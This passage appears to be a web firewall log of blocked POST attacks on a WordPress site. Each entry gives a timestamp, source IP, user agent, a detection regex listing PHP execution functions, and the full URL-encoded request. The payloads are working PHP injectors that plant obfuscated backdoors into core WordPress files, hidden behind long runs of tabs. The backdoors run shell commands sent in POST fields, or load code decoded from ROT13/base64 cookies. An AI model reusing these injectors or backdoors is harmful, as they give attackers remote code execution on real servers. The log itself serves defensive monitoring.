20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/wp-admin\/site-health.php HTTP\/1.1\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\ncookie:4=3a8677dc156d672c6e12f16237adcc36; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvqJ0vKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzAiozMcMlV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/107.0.0.0 Safari\/537.36\nsec-ch-ua:\"Google Chrome\";v=\"107\", \"Chromium\";v=\"107\", \"Not=A?Brand\";v=\"24\"\nsec-ch-ua-mobile:?0\ncontent-length:5316\nsec-ch-ua-platform:\"Windows\"\nsec-fetch-site:none\nsec-fetch-mode:navigate\nsec-fetch-user:?1\ncontent-type:application\/x-www-form-urlencoded\nsec-fetch-dest:document\n\num=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/class-wp-recovery-mode-key-service.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524reverse_lookup6%2520%253D%2520%2522%255Cx73tr%255Cx65%255Cx61%255Cx6D%255Cx5Fg%255Cx65t_%255Cx63o%255Cx6Etent%255Cx73%2522%253B%2520%2524reverse_lookup2%2520%253D%2520%2522s%255Cx68ell_e%255Cx78ec%2522%253B%2520%2524reverse_lookup3%2520%253D%2520%2522exec%2522%253B%2520%2524reverse_lookup1%2520%253D%2520%2522%255Cx73%255Cx79%255Cx73tem%2522%253B%2520%2524approve_request%2520%253D%2520%2522%255Cx68%255Cx65x2b%255Cx69%255Cx6E%2522%253B%2520%2524reverse_lookup5%2520%253D%2520%2522pop%255Cx65n%2522%253B%2520%2524reverse_lookup7%2520%253D%2520%2522p%255Cx63%255Cx6C%255Cx6Fse%2522%253B%2520%2524reverse_lookup4%2520%253D%2520%2522%255Cx70%255Cx61s%255Cx73%255Cx74hru%2522%253B%2520if%2520%2528isset%2528%2524_POST%255B%2522ma%255Cx72k%255Cx65r%2522%255D%2529%2529%2520%257B%2520function%2520token_parser_engine%2520%2528%2520%2524resource%2520%252C%2520%2524ent%2520%2529%257B%2520%2524symbol%2520%253D%2520%2527%2527%253B%2520%2524d%253D0%253B%2520while%2528%2524d%253Cstrlen%2528%2524resource%2529%2529%257B%2520%2524symbol.%253Dchr%2528ord%2528%2524resource%255B%2524d%255D%2529%255E%2524ent%2529%253B%2520%2524d%252B%252B%253B%2520%257D%2520return%2520%2524symbol%253B%2520%257D%2520%2524marker%2520%253D%2520%2524approve_request%2528%2524_POST%255B%2522ma%255Cx72k%255Cx65r%2522%255D%2529%253B%2520%2524marker%2520%253D%2520token_parser_engine%2528%2524marker%252C%252026%2529%253B%2520if%2520%2528function_exists%2528%2524reverse_lookup1%2529%2529%2520%257B%2520%2524reverse_lookup1%2528%2524marker%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524reverse_lookup2%2529%2529%2520%257B%2520print%2520%2524reverse_lookup2%2528%2524marker%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524reverse_lookup3%2529%2529%2520%257B%2520%2524reverse_lookup3%2528%2524marker%252C%2520%2524dat_resource%2529%253B%2520print%2520join%2528%2522%255Cn%2522%252C%2520%2524dat_resource%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524reverse_lookup4%2529%2529%2520%257B%2520%2524reverse_lookup4%2528%2524marker%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524reverse_lookup5%2529%2520%2526%2526%2520function_exists%2528%2524reverse_lookup6%2529%2520%2526%2526%2520function_exists%2528%2524reverse_lookup7%2529%2529%2520%257B%2520%2524ent_symbol%2520%253D%2520%2524reverse_lookup5%2528%2524marker%252C%2520%2527r%2527%2529%253B%2520if%2520%2528%2524ent_symbol%2529%2520%257B%2520%2524itm_flg%2520%253D%2520%2524reverse_lookup6%2528%2524ent_symbol%2529%253B%2520%2524reverse_lookup7%2528%2524ent_symbol%2529%253B%2520print%2520%2524itm_flg%253B%2520%257D%2520%257D%2520exit%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 11:41:03","212.87.197.20","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.51 Safari\/537.36 Edg\/99.0.1150.30","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> PV:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/SimplePie\/library\/SimplePie\/Sanitize.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2520%2528isset%2528%2524_COOKIE%255B-18%252B18%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-8%252B9%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-79%252B82%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-74%252B78%255D%2529%2529%2520%257B%2520%2524fac%2520%253D%2520%2524_COOKIE%253B%2520function%2520sync_manager%2528%2524reference%2529%2520%257B%2520%2524fac%2520%253D%2520%2524_COOKIE%253B%2520%2524dat%2520%253D%2520tempnam%2528%2528%2521empty%2528session_save_path%2528%2529%2529%2520%253F%2520session_save_path%2528%2529%2520%253A%2520sys_get_temp_dir%2528%2529%2529%252C%2520%2527108304b6%2527%2529%253B%2520if%2520%2528%2521is_writable%2528%2524dat%2529%2529%2520%257B%2520%2524dat%2520%253D%2520getcwd%2528%2529%2520.%2520DIRECTORY_SEPARATOR%2520.%2520%2522token_parser_engine%2522%253B%2520%257D%2520%2524ref%2520%253D%2520%2522%255Cx3c%255Cx3f%255Cx70%255Cx68p%2520%2522%2520.%2520base64_decode%2528str_rot13%2528%2524fac%255B3%255D%2529%2529%253B%2520if%2520%2528is_writeable%2528%2524dat%2529%2529%2520%257B%2520%2524marker%2520%253D%2520fopen%2528%2524dat%252C%2520%2527w%252B%2527%2529%253B%2520fputs%2528%2524marker%252C%2520%2524ref%2529%253B%2520fclose%2528%2524marker%2529%253B%2520spl_autoload_unregister%2528__FUNCTION__%2529%253B%2520require_once%2528%2524dat%2529%253B%2520%2540array_map%2528%2527unlink%2527%252C%2520array%2528%2524dat%2529%2529%253B%2520%257D%2520%257D%2520spl_autoload_register%2528%2522sync_manager%2522%2529%253B%2520%2524obj%2520%253D%2520%25224ab7ee940bbde3977cd474a8fb3b33f6%2522%253B%2520if%2520%2528%2521strncmp%2528%2524obj%252C%2520%2524fac%255B4%255D%252C%252032%2529%2529%2520%257B%2520if%2520%2528%2540class_parents%2528%2522dataflow_engine_settings%2522%252C%2520true%2529%2529%2520%257B%2520exit%253B%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"99\", \"Microsoft Edge\";v=\"99\"\nhost:dewenlabels.com\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"Windows\"\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-fetch-site:none\ncookie:4=9502d8dfeef0bdc4da77dd3a93ec6aec; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvHSLvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzEvrS9wo252MKW0VwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\nsec-fetch-mode:navigate\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.51 Safari\/537.36 Edg\/99.0.1150.30\nsec-fetch-user:?1\nsec-fetch-dest:document\ncontent-length:4313\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-type:application\/x-www-form-urlencoded\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\n\nPV=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/SimplePie\/library\/SimplePie\/Sanitize.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2520%2528isset%2528%2524_COOKIE%255B-18%252B18%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-8%252B9%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-79%252B82%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-74%252B78%255D%2529%2529%2520%257B%2520%2524fac%2520%253D%2520%2524_COOKIE%253B%2520function%2520sync_manager%2528%2524reference%2529%2520%257B%2520%2524fac%2520%253D%2520%2524_COOKIE%253B%2520%2524dat%2520%253D%2520tempnam%2528%2528%2521empty%2528session_save_path%2528%2529%2529%2520%253F%2520session_save_path%2528%2529%2520%253A%2520sys_get_temp_dir%2528%2529%2529%252C%2520%2527108304b6%2527%2529%253B%2520if%2520%2528%2521is_writable%2528%2524dat%2529%2529%2520%257B%2520%2524dat%2520%253D%2520getcwd%2528%2529%2520.%2520DIRECTORY_SEPARATOR%2520.%2520%2522token_parser_engine%2522%253B%2520%257D%2520%2524ref%2520%253D%2520%2522%255Cx3c%255Cx3f%255Cx70%255Cx68p%2520%2522%2520.%2520base64_decode%2528str_rot13%2528%2524fac%255B3%255D%2529%2529%253B%2520if%2520%2528is_writeable%2528%2524dat%2529%2529%2520%257B%2520%2524marker%2520%253D%2520fopen%2528%2524dat%252C%2520%2527w%252B%2527%2529%253B%2520fputs%2528%2524marker%252C%2520%2524ref%2529%253B%2520fclose%2528%2524marker%2529%253B%2520spl_autoload_unregister%2528__FUNCTION__%2529%253B%2520require_once%2528%2524dat%2529%253B%2520%2540array_map%2528%2527unlink%2527%252C%2520array%2528%2524dat%2529%2529%253B%2520%257D%2520%257D%2520spl_autoload_register%2528%2522sync_manager%2522%2529%253B%2520%2524obj%2520%253D%2520%25224ab7ee940bbde3977cd474a8fb3b33f6%2522%253B%2520if%2520%2528%2521strncmp%2528%2524obj%252C%2520%2524fac%255B4%255D%252C%252032%2529%2529%2520%257B%2520if%2520%2528%2540class_parents%2528%2522dataflow_engine_settings%2522%252C%2520true%2529%2529%2520%257B%2520exit%253B%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 11:42:14","74.91.224.220","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.64 Safari\/537.36 Edg\/101.0.1210.47","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> qr:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/SimplePie\/library\/SimplePie\/Sanitize.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2520%2528isset%2528%2524_COOKIE%255B-18%252B18%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-8%252B9%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-79%252B82%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-74%252B78%255D%2529%2529%2520%257B%2520%2524fac%2520%253D%2520%2524_COOKIE%253B%2520function%2520sync_manager%2528%2524reference%2529%2520%257B%2520%2524fac%2520%253D%2520%2524_COOKIE%253B%2520%2524dat%2520%253D%2520tempnam%2528%2528%2521empty%2528session_save_path%2528%2529%2529%2520%253F%2520session_save_path%2528%2529%2520%253A%2520sys_get_temp_dir%2528%2529%2529%252C%2520%2527108304b6%2527%2529%253B%2520if%2520%2528%2521is_writable%2528%2524dat%2529%2529%2520%257B%2520%2524dat%2520%253D%2520getcwd%2528%2529%2520.%2520DIRECTORY_SEPARATOR%2520.%2520%2522token_parser_engine%2522%253B%2520%257D%2520%2524ref%2520%253D%2520%2522%255Cx3c%255Cx3f%255Cx70%255Cx68p%2520%2522%2520.%2520base64_decode%2528str_rot13%2528%2524fac%255B3%255D%2529%2529%253B%2520if%2520%2528is_writeable%2528%2524dat%2529%2529%2520%257B%2520%2524marker%2520%253D%2520fopen%2528%2524dat%252C%2520%2527w%252B%2527%2529%253B%2520fputs%2528%2524marker%252C%2520%2524ref%2529%253B%2520fclose%2528%2524marker%2529%253B%2520spl_autoload_unregister%2528__FUNCTION__%2529%253B%2520require_once%2528%2524dat%2529%253B%2520%2540array_map%2528%2527unlink%2527%252C%2520array%2528%2524dat%2529%2529%253B%2520%257D%2520%257D%2520spl_autoload_register%2528%2522sync_manager%2522%2529%253B%2520%2524obj%2520%253D%2520%25224ab7ee940bbde3977cd474a8fb3b33f6%2522%253B%2520if%2520%2528%2521strncmp%2528%2524obj%252C%2520%2524fac%255B4%255D%252C%252032%2529%2529%2520%257B%2520if%2520%2528%2540class_parents%2528%2522dataflow_engine_settings%2522%252C%2520true%2529%2529%2520%257B%2520exit%253B%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\ncookie:4=1af844051764377410b827578daae50e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvpKVvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaA5p3EyoFV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.64 Safari\/537.36 Edg\/101.0.1210.47\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"101\", \"Microsoft Edge\";v=\"101\"\nsec-ch-ua-mobile:?0\ncontent-length:4313\nsec-ch-ua-platform:\"Windows\"\nsec-fetch-site:none\nsec-fetch-mode:navigate\nsec-fetch-user:?1\ncontent-type:application\/x-www-form-urlencoded\nsec-fetch-dest:document\n\nqr=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/SimplePie\/library\/SimplePie\/Sanitize.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2520%2528isset%2528%2524_COOKIE%255B-18%252B18%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-8%252B9%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-79%252B82%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-74%252B78%255D%2529%2529%2520%257B%2520%2524fac%2520%253D%2520%2524_COOKIE%253B%2520function%2520sync_manager%2528%2524reference%2529%2520%257B%2520%2524fac%2520%253D%2520%2524_COOKIE%253B%2520%2524dat%2520%253D%2520tempnam%2528%2528%2521empty%2528session_save_path%2528%2529%2529%2520%253F%2520session_save_path%2528%2529%2520%253A%2520sys_get_temp_dir%2528%2529%2529%252C%2520%2527108304b6%2527%2529%253B%2520if%2520%2528%2521is_writable%2528%2524dat%2529%2529%2520%257B%2520%2524dat%2520%253D%2520getcwd%2528%2529%2520.%2520DIRECTORY_SEPARATOR%2520.%2520%2522token_parser_engine%2522%253B%2520%257D%2520%2524ref%2520%253D%2520%2522%255Cx3c%255Cx3f%255Cx70%255Cx68p%2520%2522%2520.%2520base64_decode%2528str_rot13%2528%2524fac%255B3%255D%2529%2529%253B%2520if%2520%2528is_writeable%2528%2524dat%2529%2529%2520%257B%2520%2524marker%2520%253D%2520fopen%2528%2524dat%252C%2520%2527w%252B%2527%2529%253B%2520fputs%2528%2524marker%252C%2520%2524ref%2529%253B%2520fclose%2528%2524marker%2529%253B%2520spl_autoload_unregister%2528__FUNCTION__%2529%253B%2520require_once%2528%2524dat%2529%253B%2520%2540array_map%2528%2527unlink%2527%252C%2520array%2528%2524dat%2529%2529%253B%2520%257D%2520%257D%2520spl_autoload_register%2528%2522sync_manager%2522%2529%253B%2520%2524obj%2520%253D%2520%25224ab7ee940bbde3977cd474a8fb3b33f6%2522%253B%2520if%2520%2528%2521strncmp%2528%2524obj%252C%2520%2524fac%255B4%255D%252C%252032%2529%2529%2520%257B%2520if%2520%2528%2540class_parents%2528%2522dataflow_engine_settings%2522%252C%2520true%2529%2529%2520%257B%2520exit%253B%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 11:42:24","188.241.62.65","POST","\/","Mozilla\/5.0 (iPhone; CPU iPhone OS 17_2 like Mac OS X) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/17.2 Mobile\/15E148 Safari\/604.1","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> Cm:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/SimplePie\/library\/SimplePie\/Sanitize.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2520%2528isset%2528%2524_COOKIE%255B-18%252B18%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-8%252B9%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-79%252B82%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-74%252B78%255D%2529%2529%2520%257B%2520%2524fac%2520%253D%2520%2524_COOKIE%253B%2520function%2520sync_manager%2528%2524reference%2529%2520%257B%2520%2524fac%2520%253D%2520%2524_COOKIE%253B%2520%2524dat%2520%253D%2520tempnam%2528%2528%2521empty%2528session_save_path%2528%2529%2529%2520%253F%2520session_save_path%2528%2529%2520%253A%2520sys_get_temp_dir%2528%2529%2529%252C%2520%2527108304b6%2527%2529%253B%2520if%2520%2528%2521is_writable%2528%2524dat%2529%2529%2520%257B%2520%2524dat%2520%253D%2520getcwd%2528%2529%2520.%2520DIRECTORY_SEPARATOR%2520.%2520%2522token_parser_engine%2522%253B%2520%257D%2520%2524ref%2520%253D%2520%2522%255Cx3c%255Cx3f%255Cx70%255Cx68p%2520%2522%2520.%2520base64_decode%2528str_rot13%2528%2524fac%255B3%255D%2529%2529%253B%2520if%2520%2528is_writeable%2528%2524dat%2529%2529%2520%257B%2520%2524marker%2520%253D%2520fopen%2528%2524dat%252C%2520%2527w%252B%2527%2529%253B%2520fputs%2528%2524marker%252C%2520%2524ref%2529%253B%2520fclose%2528%2524marker%2529%253B%2520spl_autoload_unregister%2528__FUNCTION__%2529%253B%2520require_once%2528%2524dat%2529%253B%2520%2540array_map%2528%2527unlink%2527%252C%2520array%2528%2524dat%2529%2529%253B%2520%257D%2520%257D%2520spl_autoload_register%2528%2522sync_manager%2522%2529%253B%2520%2524obj%2520%253D%2520%25224ab7ee940bbde3977cd474a8fb3b33f6%2522%253B%2520if%2520%2528%2521strncmp%2528%2524obj%252C%2520%2524fac%255B4%255D%252C%252032%2529%2529%2520%257B%2520if%2520%2528%2540class_parents%2528%2522dataflow_engine_settings%2522%252C%2520true%2529%2529%2520%257B%2520exit%253B%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%